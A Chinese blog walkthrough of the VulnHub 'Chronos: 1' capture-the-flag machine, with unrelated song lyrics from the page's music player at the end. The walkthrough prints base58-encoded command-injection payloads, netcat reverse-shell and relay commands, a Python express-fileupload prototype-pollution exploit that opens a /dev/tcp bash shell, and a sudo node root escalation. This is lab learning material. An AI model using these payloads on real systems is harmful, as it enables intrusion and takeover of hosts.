Kalpa Bl|

HKalpa

园龄:2年10个月粉丝:16关注:2

VulnHub-Chronos: 1

靶机地址: https://www.vulnhub.com/entry/chronos-1,735/

打靶目标:取得 2 个 flag + root 权限

1、主机发现

直接开扫,得到靶机IP

2、端口扫描

扫完IP扫端口,发现靶机开放22,80,8000三个端口

3、服务扫描

端口出了之后直接用NMAP对三个端口进行服务扫描,发现22端口是SSH服务,80端口是在Ubuntu系统的Apache开放的HTTP服务,8000端口是基于Node.js的Express framework框架开放的HTTP服务

4、WEB侦查

既然是Web服务,直接打开网站找突破口

192.168.56.104:80

Ctrl+U查看源码发现有一段JavaScript代码

用工具简单整理一下发现有一个链接比较显眼

http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL

通过之前扫的端口和现在发现的链接猜测,chronos.local:8000就是靶机开放的8000端口,改一下hosts文件

ping一下检查配置文件是否生效

生效之后重新加载192.168.56.104:80发现页面的确发生了变化

用BurpSuite抓包看一下过程,发现有一个请求和上面JS代码发现的请求是一样的

感觉传参像是base64的编码,结果是base58???抓紧去补习了一下base加密的知识

5、命令注入(数据编解码)

base58解密之后发现那串传参好像是Linux的date命令,浅试一下发现还真是

把它加密回去试试网站里行不行,结果成功了

'+Today is %A, %B %d, %Y %H:%M:%S.' && ls
9bEW4cq4qengPvFGtzJXEAs1sGpKzYpYvUjwvUngwAmfrVsMwAERK9ox(base58加密后)

6、反弹SHELL

看一下目标靶机有没有nc,准备反弹shell。结果发现不止有nc,还有bash

&& ls /bin
39JyvVr3FjbwAV(加密后)

将kali端开启侦听,然后shell加密传入参数,发现好像并不行

&& nc 192.168.56.102 4444
GMKWwmxeCKrzqcoDwLeaRS6LtN9xuL3QAo(加密后)

但是发现终端可以正常建立连接,只能考虑加-e参数或者使用nc串联

因为前面发现靶机存在bash,所以先使用-e参数尝试连接靶机。结果还是不行

&& nc 192.168.56.102 4444 -e /bin/bash
6eK5JFNT7CahVhdM6iDKHY4Q4b79Axf4pNs1HqssBNbcqotvuZh9(加密后)

终端都侦听不到了,基本可以判断靶机是没有-e参数的nc版本

7、NC串联

最后只能试nc串联咯,kali端启动侦听,把要传入的用base58编码,用BurpSuite重发

&& nc 192.168.56.102 4444 | /bin/bash | nc 192.168.56.102 5555
3Gho48Ayo8ZTkKBJiuZV9GykBLVZ7LKgjBsytvKDkkKucwRiwAH1sXrwyq7vGDogSZRJcsaomVqXXihxZTnJQ(加密后)

发现4444端口输入命令,5555端口执行输出,已经成功的进入了

8、内部信息收集

查看passwd文件发现有一个imera用户,进入之后发现有一个user.txt文件,可能存放flag

结果发现只有imera可以访问,尝试使用常见的三种提权方式提权:

  1. 基于内核漏洞提权

  2. SUID权限配置问题

  3. sudo配置漏洞

可是这三种方法全都无效,只能再进行信息收集

网站根目录下有js文件,前面信息收集扫出的网站是用Node.js的框架

对JS进行代码审计发现并没有有用信息,只是能看到之前利用的命令注入漏洞是因为只判断没进行过滤导致的

继续收集信息发现,在/opt/chronos-v2/backend目录有一个server.js文件

9、JavaScript代码审计

server.js文件内容如下:

const express = require('express');
const fileupload = require("express-fileupload");
const http = require('http')

const app = express();

app.use(fileupload({ parseNested: true }));

app.set('view engine', 'ejs');
app.set('views', "/opt/chronos-v2/frontend/pages");

app.get('/', (req, res) => {
  res.render('index')
});

const server = http.Server(app);
const addr = "127.0.0.1"
const port = 8080;
server.listen(port, addr, () => {
  console.log('Server listening on ' + addr + ' port ' + port);
});

对它进行代码审计发现靶机有一个内部地址,并且端口是8080

Node.js有一个框架是express-fileupload,这个框架有一个漏洞,但是需要打开parseNested,上面的server.js文件显示已经打开,即此漏洞可以直接利用获得shell(参考链接:https://blog.p6.is/Real-World-JS-1/

10、框架漏洞利用

kali端编写exp.py利用代码,并开启http服务

import requests
cmd = 'bash -c "bash -i &> /dev/tcp/192.168.56.102/4444 0>&1"'
# pollute
requests.post('http://127.0.0.1:8080', files = {'__proto__.outputFunctionName': (None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})
# execute command
requests.get('http://127.0.0.1:8080')

 

靶机进入/tmp目录,下载kali端的exp.py文件

kali端开启侦听4444端口,靶机运行exp.py,成功

查看相关信息发现是imera用户,在用户家目录发现第一个flag

获取第一个flag

byBjaHJvbm9zIHBlcm5hZWkgZmlsZSBtb3UK
o chronos pernaei file mou.(解码后)

11、本地提权

发现自己没有root权限,有点头大啊,不过通过尝试发现存在sudo配置漏洞

发现可以通过Java反弹shell获取root权限

(ALL) NOPASSWD: /usr/local/bin/node *

搜索相关Java反弹shell找到一段代码

sudo node -e 'child_process.spawn("/bin/bash",{stdio:[0,1,2]})'

kali端监听之后用imera用户执行上面的代码发现获得root权限

进入/root目录后发现root.txt文件,找到第二个flag

YXBvcHNlIHNpb3BpIG1hemV1b3VtZSBvbmVpcmEK
apopse siopi mazeuoume oneira.(解码后)

至此,2个flag+root权限全部完成,靶机已攻陷(开心呢!!!)

本文作者:HKalpa

本文链接:https://www.cnblogs.com/HKalpa/p/16648579.html

版权声明:本作品采用本人所有操作均在实验环境下进行,用于其它用途后果自负,作者不承担相应的后果。中国大陆许可协议进行许可。

posted @   HKalpa  阅读(160)  评论(1编辑  收藏  举报
点击右上角即可分享
微信分享提示
评论
收藏
关注
推荐
深色
回顶
收起
  1. 1 绅士 薛之谦
绅士 - 薛之谦
00:00 / 00:00
An audio error has occurred.

作词 : 薛之谦

作曲 : 薛之谦

编曲 : 杨子朴

好久没见了什么角色呢

细心装扮着

白色衬衫的袖扣是你送的

尽量表现着像不在意的

频繁暴露了自欺欺人者

越掩饰越深刻

你说我说听说

忍着言不由衷的段落

我反正决定自己难过

我反正决定自己难过

我想摸你的头发

我想摸你的头发

只是简单的试探啊

我想给你个拥抱

我想给你个拥抱

像以前一样可以吗

你退半步的动作认真的吗

小小的动作伤害还那么大

我只能扮演个绅士

才能和你说说话

我能送你回家吗

我能送你回家吗

可能外面要下雨啦

我能给你个拥抱

我能给你个拥抱

像朋友一样可以吗

我忍不住从背后抱了一下

我忍不住从背后抱了一下

尺度掌握在不能说想你啊

你就当刚认识的绅士

闹了个笑话吧

尽量表现着善解人意的

尽量表现着善解人意的

频繁暴露了不欲人知的

越掩饰越深刻

想说听说别说

忍着言不由衷的段落

我反正注定留在角落

我想摸你的头发

我想摸你的头发

只是简单的试探啊

我想给你个拥抱

我想给你个拥抱

像以前一样可以吗

你退半步的动作认真的吗

你退半步的动作认真的吗

小小的动作伤害还那么大

我只能扮演个绅士

才能和你说说话

我能送你回家吗

我能送你回家吗

可能外面要下雨啦

我能给你个拥抱

像朋友一样可以吗

我忍不住从背后抱了一下

我忍不住从背后抱了一下

尺度掌握在不能说想你啊

你就当刚认识的绅士

闹了个笑话吧

你能给我只左手

你能给我只左手

牵你到马路那头吗

我会像以前一样

我会像以前一样

看着来往的车子啊

我们的距离在眉间皱了下

迅速还原成路人的样子啊

越有礼貌我越害怕

绅士要放得下

制作人 : 杨子朴

钢琴 : 杨子朴

吉他 : 杨子朴

合声 : 杨子朴

录音 : 金宇

混音 : 王用均